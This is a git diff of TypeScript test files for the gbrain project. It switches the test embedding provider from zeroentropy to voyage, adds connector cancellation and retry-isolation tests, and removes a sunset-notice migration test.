+ expect(cache.get('voyage:voyage-4', VOYAGE_DIMS, 'aa', 'document')).toEqual(vec(2, VOYAGE_DIMS));
await embedQuery('aa');
expect(real.calls.length).toBe(2); // query-side hit
inst.uninstall();
diff --git a/test/managed-atom-regressions.test.ts b/test/managed-atom-regressions.test.ts
index 3ca1ae985e..3604a5ff5e 100644
--- a/test/managed-atom-regressions.test.ts
+++ b/test/managed-atom-regressions.test.ts
@@ -2,7 +2,7 @@ import { afterAll, beforeAll, beforeEach, test } from 'bun:test';
import { PGLiteEngine } from '../src/core/pglite-engine.ts';
import { configureGateway, resetGateway } from '../src/core/ai/gateway.ts';
import { resetPgliteState } from './helpers/reset-pglite.ts';
-import { retryStates, retryEdits, exerciseAtomRetryFence, atomWriteThroughValues, atomOwnerStates, exerciseAtomWriteThroughPolicy, atomDisabledAuthorityCases, exerciseAtomDisabledAuthority } from './helpers/managed-atom-regressions.ts';
+import { retryStates, retryEdits, exerciseAtomRetryFence, exerciseAtomRetrySourceIsolation, atomWriteThroughValues, atomOwnerStates, exerciseAtomWriteThroughPolicy, atomDisabledAuthorityCases, exerciseAtomDisabledAuthority } from './helpers/managed-atom-regressions.ts';
let engine: PGLiteEngine;
beforeAll(async () => {
@@ -14,6 +14,8 @@ beforeAll(async () => {
beforeEach(async () => { await resetPgliteState(engine); });
afterAll(async () => { await engine.disconnect(); resetGateway(); });
+test('atom retry fault stays scoped while an older source retry drains', () => exerciseAtomRetrySourceIsolation(engine), 60_000);
+
for (const state of retryStates) for (const edit of retryEdits) {
test(`atom retry ${state} preserves reviewed target ${edit}`, () => exerciseAtomRetryFence(engine, state, edit), 60_000);
}
diff --git a/test/managed-connector-routing.serial.test.ts b/test/managed-connector-routing.serial.test.ts
index 247772af9e..f112a287af 100644
--- a/test/managed-connector-routing.serial.test.ts
+++ b/test/managed-connector-routing.serial.test.ts
@@ -8,6 +8,7 @@ import { PGLiteEngine } from '../src/core/pglite-engine.ts';
import { performSync } from '../src/commands/sync.ts';
import { runPersistenceAdministration } from '../src/core/persistence/administration.ts';
import { disposePersistenceConsumer } from '../src/core/persistence/service.ts';
+import { APPLICATION_AUTHORITY, withSubmissionAuthority } from '../src/core/minions/submission-authority.ts';
import { reviewedWriterIntent } from './helpers/writer-admin-intent.ts';
import { isolatedPersistencePostgres } from './helpers/persistence-postgres.ts';
import { withEnv } from './helpers/with-env.ts';
@@ -28,6 +29,52 @@ beforeAll(async () => {
}
}, 120_000);
+for (const kind of ['google', 'github']) for (const caller of ['explicit', 'job']) for (const boundary of ['entry', 'source-read']) {
+ test(`${kind} connector preserves ${caller} cancellation at ${boundary} without publishing`, async () => {
+ for (const engine of engines) {
+ const home = join(directory, randomUUID()); mkdirSync(home, { recursive: true });
+ await withEnv({ GBRAIN_HOME: home, GBRAIN_SOURCE: undefined, GBRAIN_BRAIN_ID: 'host' }, async () => {
+ const sourceId = `cancel-${randomUUID()}`, root = join(home, 'uncreated');
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=false WHERE singleton=1');
+ await engine.executeRaw('INSERT INTO sources(id,name,local_path,config) VALUES($1,$1,$2,$3::text::jsonb)',
+ [sourceId, root, JSON.stringify(kind === 'google' ? googleConfig : githubConfig)]);
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=true WHERE singleton=1');
+ const before = await engine.executeRaw('SELECT * FROM sources WHERE id=$1', [sourceId]);
+ const checkpoints = await engine.executeRaw('SELECT op,fingerprint,completed_keys FROM op_checkpoints ORDER BY op,fingerprint');
+ const effects = await engine.executeRaw('SELECT id,state FROM persistence_effects ORDER BY id');
+ const controller = new AbortController();
+ const reason = new Error('connector fixture cancelled');
+ const execute = engine.executeRaw;
+ let reached = boundary === 'entry', calls = 0;
+ const fetcher = spyOn(globalThis, 'fetch').mockImplementation((async () => {
+ calls++; throw new Error('Unexpected connector fixture network call');
+ }) as unknown as typeof fetch);
+ if (boundary === 'entry') controller.abort(reason);
+ else engine.executeRaw = async function(this: BrainEngine, sql, params) {
+ const rows = await execute.call(this, sql, params);
+ if (sql === 'SELECT local_path,config FROM sources WHERE id=$1' && params?.[0] === sourceId) {
+ reached = true; controller.abort(reason);
+ }
+ return rows;
+ } as BrainEngine['executeRaw'];
+ try {
+ const run = () => performSync(engine, { sourceId, ...(caller === 'explicit' ? { signal: controller.signal } : {}) });
+ await expect(caller === 'job' ? withSubmissionAuthority(APPLICATION_AUTHORITY, run, controller.signal) : run())
+ .rejects.toMatchObject({ name: caller === 'job' ? 'AbortError' : 'Error', message: reason.message });
+ expect(reached).toBe(true);
+ expect(calls).toBe(0);
+ expect(existsSync(root)).toBe(false);
+ expect(await engine.executeRaw('SELECT * FROM sources WHERE id=$1', [sourceId])).toEqual(before);
+ expect(await engine.executeRaw('SELECT id FROM pages WHERE source_id=$1', [sourceId])).toHaveLength(0);
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [sourceId])).toHaveLength(0);
+ expect(await engine.executeRaw('SELECT op,fingerprint,completed_keys FROM op_checkpoints ORDER BY op,fingerprint')).toEqual(checkpoints);
+ expect(await engine.executeRaw('SELECT id,state FROM persistence_effects ORDER BY id')).toEqual(effects);
+ } finally { engine.executeRaw = execute; fetcher.mockRestore(); }
+ });
+ }
+ }, 120_000);
+}
+
afterAll(async () => {
for (const engine of engines) { await disposePersistenceConsumer(engine); await engine.disconnect(); }
await closePostgres?.(); rmSync(directory, { recursive: true, force: true });
diff --git a/test/migrate-embeddings-boundary.serial.test.ts b/test/migrate-embeddings-boundary.serial.test.ts
index 4080fc1bc7..a3f66f0094 100644
--- a/test/migrate-embeddings-boundary.serial.test.ts
+++ b/test/migrate-embeddings-boundary.serial.test.ts
@@ -36,7 +36,7 @@ import { runEmbedCore } from '../src/commands/embed.ts';
import { runMigrateEmbeddings } from '../src/commands/migrate-embeddings.ts';
import { MIGRATION_STATE_KEY, MIGRATION_COMPLETED_KEY } from '../src/core/embedding-migration.ts';
-const FROM_DIMS = 1280;
+const FROM_DIMS = 1024;
const TO_DIMS = 1536;
const PAGES = ['b-1', 'b-2', 'b-3'];
const PROBE_TEXT = 'gbrain embedding migration probe';
@@ -63,7 +63,7 @@ async function runMigrate(args: string[]): Promise<number> {
}
beforeAll(async () => {
- for (const k of ['GBRAIN_HOME', 'GBRAIN_EMBEDDING_MODEL', 'GBRAIN_EMBEDDING_DIMENSIONS', 'OPENAI_API_KEY', 'ZEROENTROPY_API_KEY', 'DATABASE_URL']) {
+ for (const k of ['GBRAIN_HOME', 'GBRAIN_EMBEDDING_MODEL', 'GBRAIN_EMBEDDING_DIMENSIONS', 'OPENAI_API_KEY', 'VOYAGE_API_KEY', 'DATABASE_URL']) {
savedEnv[k] = process.env[k];
delete process.env[k];
}
@@ -72,17 +72,17 @@ beforeAll(async () => {
mkdirSync(join(tmpHome, '.gbrain'), { recursive: true });
writeFileSync(join(tmpHome, '.gbrain', 'config.json'), JSON.stringify({
engine: 'pglite',
- embedding_model: 'zeroentropyai:zembed-1',
+ embedding_model: 'voyage:voyage-4',
embedding_dimensions: FROM_DIMS,
- zeroentropy_api_key: 'ze-test-fake',
+ voyage_api_key: 'voyage-test-fake',
openai_api_key: 'sk-test-fake',
}, null, 2));
resetGateway();
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
+ embedding_model: 'voyage:voyage-4',
embedding_dimensions: FROM_DIMS,
- env: { ZEROENTROPY_API_KEY: 'ze-test-fake', OPENAI_API_KEY: 'sk-test-fake' },
+ env: { VOYAGE_API_KEY: 'voyage-test-fake', OPENAI_API_KEY: 'sk-test-fake' },
});
__setEmbedTransportForTests(async ({ values }: { values: string[] }) => {
for (const v of values) if (v !== PROBE_TEXT) embeddedTexts.push(v);
diff --git a/test/migrate-embeddings-flow.serial.test.ts b/test/migrate-embeddings-flow.serial.test.ts
index 20f965c88f..ce5f071c56 100644
--- a/test/migrate-embeddings-flow.serial.test.ts
+++ b/test/migrate-embeddings-flow.serial.test.ts
@@ -2,8 +2,8 @@
* #3390 — `gbrain migrate embeddings` END-TO-END on PGLite.
*
* The full command flow with a fake embedding transport:
- * 1. Disposable brain seeded via the REAL embed pipeline on a fake 1280d
- * "zeroentropyai:zembed-1" provider (the shipped default).
+ * 1. Disposable brain seeded via the REAL embed pipeline on a fake 1024d
+ * "voyage:voyage-4" provider (the shipped default).
* 2. One page's embedding_signature NULLed (simulates a pre-v108 page,
* the #3391 class).
* 3. Migration to a fake 1536d openai:text-embedding-3-small — with the
@@ -39,7 +39,7 @@ import {
MIGRATION_COMPLETED_KEY,
} from '../src/core/embedding-migration.ts';
-const FROM_DIMS = 1280;
+const FROM_DIMS = 1024;
const TO_DIMS = 1536;
const PAGES = ['page-1', 'page-2', 'page-3', 'page-4', 'page-5', 'page-6'];
const PROBE_TEXT = 'gbrain embedding migration probe';
@@ -98,7 +98,7 @@ async function columnDims(): Promise<number> {
beforeAll(async () => {
// Isolate the file-plane config.
- for (const k of ['GBRAIN_HOME', 'GBRAIN_EMBEDDING_MODEL', 'GBRAIN_EMBEDDING_DIMENSIONS', 'OPENAI_API_KEY', 'ZEROENTROPY_API_KEY', 'DATABASE_URL']) {
+ for (const k of ['GBRAIN_HOME', 'GBRAIN_EMBEDDING_MODEL', 'GBRAIN_EMBEDDING_DIMENSIONS', 'OPENAI_API_KEY', 'VOYAGE_API_KEY', 'DATABASE_URL']) {
savedEnv[k] = process.env[k];
delete process.env[k];
}
@@ -107,17 +107,17 @@ beforeAll(async () => {
mkdirSync(join(tmpHome, '.gbrain'), { recursive: true });
writeFileSync(join(tmpHome, '.gbrain', 'config.json'), JSON.stringify({
engine: 'pglite',
- embedding_model: 'zeroentropyai:zembed-1',
+ embedding_model: 'voyage:voyage-4',
embedding_dimensions: FROM_DIMS,
- zeroentropy_api_key: 'ze-test-fake',
+ voyage_api_key: 'voyage-test-fake',
openai_api_key: 'sk-test-fake',
}, null, 2));
resetGateway();
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
+ embedding_model: 'voyage:voyage-4',
embedding_dimensions: FROM_DIMS,
- env: { ZEROENTROPY_API_KEY: 'ze-test-fake', OPENAI_API_KEY: 'sk-test-fake' },
+ env: { VOYAGE_API_KEY: 'voyage-test-fake', OPENAI_API_KEY: 'sk-test-fake' },
});
installTransport();
@@ -138,7 +138,7 @@ afterAll(async () => {
});
describe('migrate embeddings — full flow on PGLite', () => {
- test('seed: 6 pages embedded at 1280d through the real embed pipeline', async () => {
+ test('seed: 6 pages embedded at 1024d through the real embed pipeline', async () => {
expect(await columnDims()).toBe(FROM_DIMS);
for (const slug of PAGES) {
await engine.putPage(slug, { type: 'note', title: slug, compiled_truth: `# ${slug}\n\ncontent for ${slug}` });
@@ -153,7 +153,7 @@ describe('migrate embeddings — full flow on PGLite', () => {
// Simulate a pre-v108 page: embedded, but no recorded signature (#3391).
await engine.executeRaw(`UPDATE pages SET embedding_signature = NULL WHERE slug = 'page-1'`);
const sigs = await engine.executeRaw<{ n: number }>(
- `SELECT count(*)::int AS n FROM pages WHERE embedding_signature = 'zeroentropyai:zembed-1:${FROM_DIMS}'`,
+ `SELECT count(*)::int AS n FROM pages WHERE embedding_signature = 'voyage:voyage-4:${FROM_DIMS}'`,
);
expect(Number(sigs[0]?.n)).toBe(PAGES.length - 1);
@@ -170,7 +170,7 @@ describe('migrate embeddings — full flow on PGLite', () => {
expect(await engine.getConfig(MIGRATION_STATE_KEY)).toBeFalsy();
// Config file untouched.
const cfg = JSON.parse(readFileSync(join(tmpHome, '.gbrain', 'config.json'), 'utf-8'));
- expect(cfg.embedding_model).toBe('zeroentropyai:zembed-1');
+ expect(cfg.embedding_model).toBe('voyage:voyage-4');
});
test('non-TTY without --yes refuses with exit 2 (cost gate)', async () => {
diff --git a/test/migrate-embeddings-hardening.serial.test.ts b/test/migrate-embeddings-hardening.serial.test.ts
index 766776f99d..58871ac001 100644
--- a/test/migrate-embeddings-hardening.serial.test.ts
+++ b/test/migrate-embeddings-hardening.serial.test.ts
@@ -13,7 +13,6 @@
* returns false ABORTS with lock_lost (no silent mutual-exclusion loss).
* 6. 2048d transition: DDL succeeds with NO HNSW index (pgvector caps
* `vector` HNSW at 2000 dims); exact-scan search still works.
- * 7. Same-width ze-switch resume does NOT drop stored vectors (width guard).
*
* Added hardening pins (second wave):
* 8. Locked branches refuse pre-mutation: global migration lock ⇒
@@ -24,12 +23,10 @@
* a no-file-plane run refuses at apply instead of going env-canonical.
* 11. Wrong-width dim-pinned companion columns (facts/query_cache) are
* repaired independently — pinned_repaired[], no content_chunks rebuild.
- * 12. Same-width resume/undo width guard keeps stored vectors (both the
- * ze-switch resume path and the snapshot undo path).
* 13. Corrupt AND wrong-shape markers report corrupt on readMigrationState +
* --status without throwing; a fresh run rewrites the marker clean (v2).
* 14. Retarget history: superseded[] chain + retargeted_at + the
- * --force-sunset-target resume-command rendering.
+ * current resume-command rendering.
* 15. verifySearchRoundTrip miss branch: warn/self_retrieval_miss with
* content-free samples (page ids + codes, never query text).
* 16. Heartbeat transient-error policy: 3 consecutive refresh() throws abort
@@ -45,7 +42,7 @@ import { join } from 'path';
import { tmpdir } from 'os';
import { PGLiteEngine } from '../src/core/pglite-engine.ts';
import { installFixtureChunks } from './helpers/page-projection.ts';
-import { LEGACY_DEFAULT_RERANKER_MODEL as ZE_RERANKER } from '../src/core/ai/defaults.ts';
+const OUTGOING_RERANKER = 'fixture-provider:reranker-v1';
import {
configureGateway,
resetGateway,
@@ -75,15 +72,9 @@ import {
} from '../src/core/embedding-migration.ts';
import { tryAcquireDbLock, type DbLockHandle } from '../src/core/db-lock.ts';
import { embedBackfillLockId } from '../src/core/embed-backfill-lock.ts';
-import {
- resumeRetrievalUpgrade,
- undoRetrievalUpgrade,
- KEY_REQUESTED,
- KEY_PREVIOUS_SNAPSHOT,
- ZE_TARGET_EMBEDDING_DIM,
-} from '../src/core/retrieval-upgrade-planner.ts';
-
-const FROM_DIMS = 1280;
+
+
+const FROM_DIMS = 1024;
const TO_DIMS = 1536;
let engine: PGLiteEngine;
@@ -145,26 +136,26 @@ function writeFileConfig(model: string, dims: number): void {
engine: 'pglite',
embedding_model: model,
embedding_dimensions: dims,
- zeroentropy_api_key: 'ze-test-fake',
+ voyage_api_key: 'voyage-test-fake',
openai_api_key: 'sk-test-fake',
}, null, 2));
}
beforeAll(async () => {
- for (const k of ['GBRAIN_HOME', 'GBRAIN_EMBEDDING_MODEL', 'GBRAIN_EMBEDDING_DIMENSIONS', 'GBRAIN_EMBED_LOCK_HEARTBEAT_MS', 'OPENAI_API_KEY', 'ZEROENTROPY_API_KEY', 'VOYAGE_API_KEY', 'DATABASE_URL']) {
+ for (const k of ['GBRAIN_HOME', 'GBRAIN_EMBEDDING_MODEL', 'GBRAIN_EMBEDDING_DIMENSIONS', 'GBRAIN_EMBED_LOCK_HEARTBEAT_MS', 'OPENAI_API_KEY', 'VOYAGE_API_KEY', 'DATABASE_URL']) {
savedEnv[k] = process.env[k];
delete process.env[k];
}
tmpHome = mkdtempSync(join(tmpdir(), 'gbrain-migrate-hardening-'));
process.env.GBRAIN_HOME = tmpHome;
mkdirSync(join(tmpHome, '.gbrain'), { recursive: true });
- writeFileConfig('zeroentropyai:zembed-1', FROM_DIMS);
+ writeFileConfig('voyage:voyage-4', FROM_DIMS);
resetGateway();
configureGateway({
- embedding_model: 'zeroentropyai:zembed-1',
+ embedding_model: 'voyage:voyage-4',
embedding_dimensions: FROM_DIMS,
- env: { ZEROENTROPY_API_KEY: 'ze-test-fake', OPENAI_API_KEY: 'sk-test-fake' },
+ env: { VOYAGE_API_KEY: 'voyage-test-fake', OPENAI_API_KEY: 'sk-test-fake' },
});
installTransport();
@@ -239,7 +230,7 @@ describe('poisonable skip is dead', () => {
expect(dryCode).toBe(0); // dry-run renders the plan — not refused
// env != target: the #1421 refusal, unchanged.
- process.env.GBRAIN_EMBEDDING_MODEL = 'zeroentropyai:zembed-1';
+ process.env.GBRAIN_EMBEDDING_MODEL = 'voyage:voyage-4';
process.env.GBRAIN_EMBEDDING_DIMENSIONS = String(FROM_DIMS);
const code = await runMigrate(['--to', 'openai:text-embedding-3-small', '--dim', String(TO_DIMS), '--yes']);
expect(code).toBe(1); // refused_env
@@ -255,7 +246,7 @@ describe('poisonable skip is dead', () => {
version: 2,
to_model: 'voyage:voyage-4',
to_dims: 1024,
- from_model: 'zeroentropyai:zembed-1',
+ from_model: 'voyage:voyage-4',
from_dims: FROM_DIMS,
started_at: '2026-08-01T00:00:00.000Z',
} satisfies MigrationState));
@@ -387,16 +378,15 @@ describe('locks + schema honesty', () => {
});
describe('reranker companion (D8)', () => {
- test('explicitly configured ZE reranker is exposed; auto switches to the target provider reranker', async () => {
+ test('explicitly configured outgoing reranker is exposed; auto switches to the target provider reranker', async () => {
// v0.48.2: the mode-bundle default is live voyage, so exposure now comes
- // from an EXPLICIT `search.reranker.model` zeroentropyai:* row — the
+ // from an EXPLICIT `search.reranker.model` fixture-provider:* row — the
// exposure must still resolve THROUGH the mode plane (config override).
- await engine.setConfig('search.reranker.model', ZE_RERANKER);
+ await engine.setConfig('search.reranker.model', OUTGOING_RERANKER);
try {
- const plan = await resolveRerankerPlan(engine, 'zeroentropyai:zembed-1', 'voyage:voyage-4', undefined);
+ const plan = await resolveRerankerPlan(engine, 'fixture-provider:embedding-v1', 'voyage:voyage-4', undefined);
expect(plan.exposed).not.toBeNull();
- expect(plan.exposed!.model).toBe(ZE_RERANKER);
- expect(plan.exposed!.sunset_date).toBeTruthy();
+ expect(plan.exposed!.model).toBe(OUTGOING_RERANKER);
expect(plan.action).toEqual({ kind: 'switch', to: 'voyage:rerank-2.5' });
} finally {
await engine.unsetConfig('search.reranker.model');
@@ -404,14 +394,14 @@ describe('reranker companion (D8)', () => {
});
test('bundle default (no reranker row) is live voyage → nothing exposed', async () => {
- const plan = await resolveRerankerPlan(engine, 'zeroentropyai:zembed-1', 'voyage:voyage-4', undefined);
+ const plan = await resolveRerankerPlan(engine, 'fixture-provider:embedding-v1', 'voyage:voyage-4', undefined);
expect(plan.exposed).toBeNull();
});
test('auto with a reranker-less target suggests, never silently enables a third provider', async () => {
- await engine.setConfig('search.reranker.model', ZE_RERANKER);
+ await engine.setConfig('search.reranker.model', OUTGOING_RERANKER);
try {
- const plan = await resolveRerankerPlan(engine, 'zeroentropyai:zembed-1', 'openai:text-embedding-3-small', undefined);
+ const plan = await resolveRerankerPlan(engine, 'fixture-provider:embedding-v1', 'openai:text-embedding-3-small', undefined);
expect(plan.exposed).not.toBeNull();
expect(plan.action.kind).toBe('none');
expect((plan.action as { suggestion: string | null }).suggestion).toBe('voyage:rerank-2.5');
@@ -421,20 +411,20 @@ describe('reranker companion (D8)', () => {
});
test('off disables, keep leaves alone, invalid explicit values refuse with paste-ready messages', async () => {
- const off = await resolveRerankerPlan(engine, 'zeroentropyai:zembed-1', 'voyage:voyage-4', 'off');
+ const off = await resolveRerankerPlan(engine, 'fixture-provider:embedding-v1', 'voyage:voyage-4', 'off');
expect(off.action).toEqual({ kind: 'disable' });
- const keep = await resolveRerankerPlan(engine, 'zeroentropyai:zembed-1', 'voyage:voyage-4', 'keep');
+ const keep = await resolveRerankerPlan(engine, 'fixture-provider:embedding-v1', 'voyage:voyage-4', 'keep');
expect(keep.action).toEqual({ kind: 'none', suggestion: null });
// Provider exists but declares no reranker touchpoint.
await expect(
- resolveRerankerPlan(engine, 'zeroentropyai:zembed-1', 'voyage:voyage-4', 'openai:text-embedding-3-small'),
+ resolveRerankerPlan(engine, 'fixture-provider:embedding-v1', 'voyage:voyage-4', 'openai:text-embedding-3-small'),
).rejects.toThrow(/declares no reranker/);
// Not provider:model shaped at all.
await expect(
- resolveRerankerPlan(engine, 'zeroentropyai:zembed-1', 'voyage:voyage-4', 'garbage'),
+ resolveRerankerPlan(engine, 'fixture-provider:embedding-v1', 'voyage:voyage-4', 'garbage'),
).rejects.toThrow(/--reranker must be/);
});
@@ -690,10 +680,10 @@ describe('locked branches refuse before any mutation', () => {
describe('config-plane hygiene (env leak + env-canonical gates)', () => {
test('persistEmbeddingFileConfig writes the target to the file plane, never env-sourced secrets', async () => {
const cfgPath = join(tmpHome, '.gbrain', 'config.json');
- const prevVoyage = process.env.VOYAGE_API_KEY;
- process.env.GBRAIN_EMBEDDING_MODEL = 'zeroentropyai:zembed-1';
- process.env.GBRAIN_EMBEDDING_DIMENSIONS = String(FROM_DIMS);
- process.env.VOYAGE_API_KEY = 'pa-env-secret-canary';
+ const prevOpenRouter = process.env.OPENROUTER_API_KEY;
+ process.env.GBRAIN_EMBEDDING_MODEL = 'openai:text-embedding-3-large';
+ process.env.GBRAIN_EMBEDDING_DIMENSIONS = String(TO_DIMS);
+ process.env.OPENROUTER_API_KEY = 'pa-env-secret-canary';
// Password-less on purpose: the assertion is that the database_url KEY
// never lands in the file at all, and a userinfo-bearing URL literal
// would (rightly) trip the pre-push credential scanner.
@@ -709,17 +699,17 @@ describe('config-plane hygiene (env leak + env-canonical gates)', () => {
// env-sourced secret material as a side effect of a migration.
expect(raw).not.toContain('pa-env-secret-canary');
expect(raw).not.toContain('env-host-canary');
- expect(parsed.voyage_api_key).toBeUndefined();
+ expect(parsed.openrouter_api_key).toBeUndefined();
expect(parsed.database_url).toBeUndefined();
// File-sourced keys stay exactly as the file had them.
expect(parsed.openai_api_key).toBe('sk-test-fake');
- expect(parsed.zeroentropy_api_key).toBe('ze-test-fake');
+ expect(parsed.voyage_api_key).toBe('voyage-test-fake');
} finally {
delete process.env.GBRAIN_EMBEDDING_MODEL;
delete process.env.GBRAIN_EMBEDDING_DIMENSIONS;
delete process.env.DATABASE_URL;
- if (prevVoyage === undefined) delete process.env.VOYAGE_API_KEY;
- else process.env.VOYAGE_API_KEY = prevVoyage;
+ if (prevOpenRouter === undefined) delete process.env.OPENROUTER_API_KEY;
+ else process.env.OPENROUTER_API_KEY = prevOpenRouter;
// persistEmbeddingFileConfig reconfigured the in-process gateway from
// the env-merged view — restore the baseline file plane + gateway.
writeFileConfig('openai:text-embedding-3-small', TO_DIMS);
@@ -807,58 +797,7 @@ describe('independent dim-pinned repair + same-width guards', () => {
}
}, 60000);
- test('same-width resume + undo keep stored vectors (width guard, no silent drop+re-add)', async () => {
- // resume path: throwaway brain already AT the ZE target width with one
- // live vector — resume must not run the DROP+ADD transition.
- const e3 = new PGLiteEngine();
- await e3.connect({ embedding_dimensions: ZE_TARGET_EMBEDDING_DIM } as never);
- await e3.initSchema();
- try {
- // initSchema resolves the column width from the gateway/file plane (both
- // at 1536 here) — pin the throwaway brain AT the ZE resume target width
- // explicitly so the same-width guard is what's under test.
- await runSchemaTransition(e3, ZE_TARGET_EMBEDDING_DIM);
- await e3.putPage('rw-1', { type: 'note', title: 'rw-1', compiled_truth: '# rw\n\nbody' });
- await installFixtureChunks(e3, 'rw-1', [
- { chunk_index: 0, chunk_text: 'resume width guard chunk', chunk_source: 'compiled_truth', token_count: 4 },
- ]);
- const vec = '[' + new Array(ZE_TARGET_EMBEDDING_DIM).fill(0.002).join(',') + ']';
- await e3.executeRaw(`UPDATE content_chunks SET embedding = $1::vector`, [vec]);
- await e3.setConfig(KEY_REQUESTED, 'true');
- const resumed = await resumeRetrievalUpgrade(e3);
- expect(resumed.status).toBe('applied');
- const n = await e3.executeRaw<{ n: number }>(
- `SELECT count(*)::int AS n FROM content_chunks WHERE embedding IS NOT NULL`,
- );
- expect(Number(n[0]?.n)).toBe(1); // vector survived: column was not rebuilt
- } finally {
- await e3.disconnect();
- }
- // undo path: snapshot at the CURRENT width on the main brain — the guard
- // must skip the transition and keep every stored vector.
- const before = await engine.executeRaw<{ n: number }>(
- `SELECT count(*)::int AS n FROM content_chunks WHERE embedding IS NOT NULL`,
- );
- expect(Number(before[0]?.n)).toBeGreaterThan(0);
- const snapshot = {
- embedding_model: 'openai:text-embedding-3-small',
- embedding_dimensions: TO_DIMS,
- search_reranker_enabled: (await engine.getConfig('search.reranker.enabled')) === 'true',
- search_reranker_model: await engine.getConfig('search.reranker.model'),
- };
- await engine.setConfig(KEY_PREVIOUS_SNAPSHOT, JSON.stringify(snapshot));
- try {
- const undone = await undoRetrievalUpgrade(engine);
- expect(undone.status).toBe('undone');
- const after = await engine.executeRaw<{ n: number }>(
- `SELECT count(*)::int AS n FROM content_chunks WHERE embedding IS NOT NULL`,
- );
- expect(Number(after[0]?.n)).toBe(Number(before[0]?.n));
- } finally {
- await engine.unsetConfig(KEY_PREVIOUS_SNAPSHOT);
- }
- }, 120000);
});
describe('marker integrity across surfaces', () => {
@@ -924,10 +863,8 @@ describe('marker integrity across surfaces', () => {
expect(marker.state?.superseded?.length).toBe(1);
expect(marker.state?.superseded?.[0]?.to_model).toBe('openai:text-embedding-3-large');
- // ONE resume-command template: the force flag renders iff the state has it.
const state = marker.state as MigrationState;
- expect(renderResumeCommand({ ...state, force_sunset_target: true })).toContain('--force-sunset-target');
- expect(renderResumeCommand(state)).not.toContain('--force-sunset-target');
+ expect(renderResumeCommand(state)).toBe('gbrain migrate embeddings --to openai:text-embedding-3-small --dim 1536 --yes');
// Converge again: resume B for real (drains the invalidated chunks).
embeddedTexts = [];
@@ -1066,7 +1003,7 @@ describe('empty-brain migration (plan pin 15)', () => {
// File plane points elsewhere so the FIRST run has real work (config
// convergence) instead of instantly skipping. Same width as the fresh
// column ⇒ the plan must NOT show the destructive-deletion warning.
- writeFileConfig('zeroentropyai:zembed-1', FROM_DIMS);
+ writeFileConfig('voyage:voyage-4', FROM_DIMS);
const cap1 = captureStdout();
let code1: number;
diff --git a/test/migrate-embeddings-op-contract.serial.test.ts b/test/migrate-embeddings-op-contract.serial.test.ts
index ad892ae8a1..ac06951050 100644
--- a/test/migrate-embeddings-op-contract.serial.test.ts
+++ b/test/migrate-embeddings-op-contract.serial.test.ts
@@ -55,8 +55,8 @@ import {
} from '../src/core/embedding-migration.ts';
import { tryAcquireDbLock } from '../src/core/db-lock.ts';
-const FROM_MODEL = 'zeroentropyai:zembed-1';
-const FROM_DIMS = 1280;
+const FROM_MODEL = 'voyage:voyage-4';
+const FROM_DIMS = 1024;
const TO_MODEL = 'openai:text-embedding-3-small';
const TO_DIMS = 1536;
@@ -120,7 +120,7 @@ async function runOp(params: Record<string, unknown>): Promise<OpEnvelope> {
beforeAll(async () => {
for (const k of [
'GBRAIN_HOME', 'GBRAIN_EMBEDDING_MODEL', 'GBRAIN_EMBEDDING_DIMENSIONS',
- 'OPENAI_API_KEY', 'ZEROENTROPY_API_KEY', 'VOYAGE_API_KEY', 'DATABASE_URL',
+ 'OPENAI_API_KEY', 'VOYAGE_API_KEY', 'VOYAGE_API_KEY', 'DATABASE_URL',
]) {
savedEnv[k] = process.env[k];
delete process.env[k];
@@ -132,7 +132,7 @@ beforeAll(async () => {
engine: 'pglite',
embedding_model: FROM_MODEL,
embedding_dimensions: FROM_DIMS,
- zeroentropy_api_key: 'ze-test-fake',
+ voyage_api_key: 'voyage-test-fake',
openai_api_key: 'sk-test-fake',
}, null, 2));
@@ -140,7 +140,7 @@ beforeAll(async () => {
configureGateway({
embedding_model: FROM_MODEL,
embedding_dimensions: FROM_DIMS,
- env: { ZEROENTROPY_API_KEY: 'ze-test-fake', OPENAI_API_KEY: 'sk-test-fake' },
+ env: { VOYAGE_API_KEY: 'voyage-test-fake', OPENAI_API_KEY: 'sk-test-fake' },
});
installTransport();
diff --git a/test/migration-orchestrator-v0_46_3.serial.test.ts b/test/migration-orchestrator-v0_46_3.serial.test.ts
deleted file mode 100644
index a82926ccd4..0000000000
--- a/test/migration-orchestrator-v0_46_3.serial.test.ts
+++ /dev/null
@@ -1,161 +0,0 @@
-/**
- * v0.46.3 orchestrator — ZeroEntropy sunset notice (detect-and-notify only).
- *
- * Contract pins (registry shape mirrors migration-orchestrator-v0_21_0):
- * - registered in the TS registry, correctly ordered after 0.43.0;
- * - the orchestrator NEVER writes config (no pinning — the split-default
- * made pinning unnecessary) and NEVER invokes migrate embeddings;
- * - exposed brain → notice + ONE idempotent pending-host-work entry
- * (re-run appends nothing);
- * - dry-run takes no side effects (no pending-host-work write);
- * - no config at all → complete, no nag;
- * - unknown/unreachable-brain exposure → still `complete` (NOT partial —
- * three partials would wedge the migration chain behind --force-retry).
- *
- * Serial: sandboxes GBRAIN_HOME + clears GBRAIN_EMBEDDING_* env.
- */
-
-import { describe, test, expect, beforeEach, afterEach } from 'bun:test';
-import { mkdtempSync, writeFileSync, readFileSync, existsSync, mkdirSync } from 'fs';
-import { tmpdir } from 'os';
-import { join } from 'path';
-
-let home: string;
-const savedEnv: Record<string, string | undefined> = {};
-const ENV_KEYS = [
- 'GBRAIN_HOME',
- 'GBRAIN_EMBEDDING_MODEL',
- 'GBRAIN_EMBEDDING_DIMENSIONS',
- 'VOYAGE_API_KEY',
- 'DATABASE_URL',
- 'GBRAIN_DATABASE_URL',
-];
-
-beforeEach(() => {
- for (const k of ENV_KEYS) savedEnv[k] = process.env[k];
- home = mkdtempSync(join(tmpdir(), 'v047-mig-'));
- process.env.GBRAIN_HOME = home;
- delete process.env.GBRAIN_EMBEDDING_MODEL;
- delete process.env.GBRAIN_EMBEDDING_DIMENSIONS;
- delete process.env.VOYAGE_API_KEY;
- delete process.env.DATABASE_URL;
- delete process.env.GBRAIN_DATABASE_URL;
-});
-
-afterEach(() => {
- for (const k of ENV_KEYS) {
- if (savedEnv[k] === undefined) delete process.env[k];
- else process.env[k] = savedEnv[k];
- }
-});
-
-// GBRAIN_HOME is a HOME-like root: gbrain resolves its dir as
-// `$GBRAIN_HOME/.gbrain/` (see configDir() in src/core/config.ts).
-function gbrainDir(): string {
- return join(home, '.gbrain');
-}
-
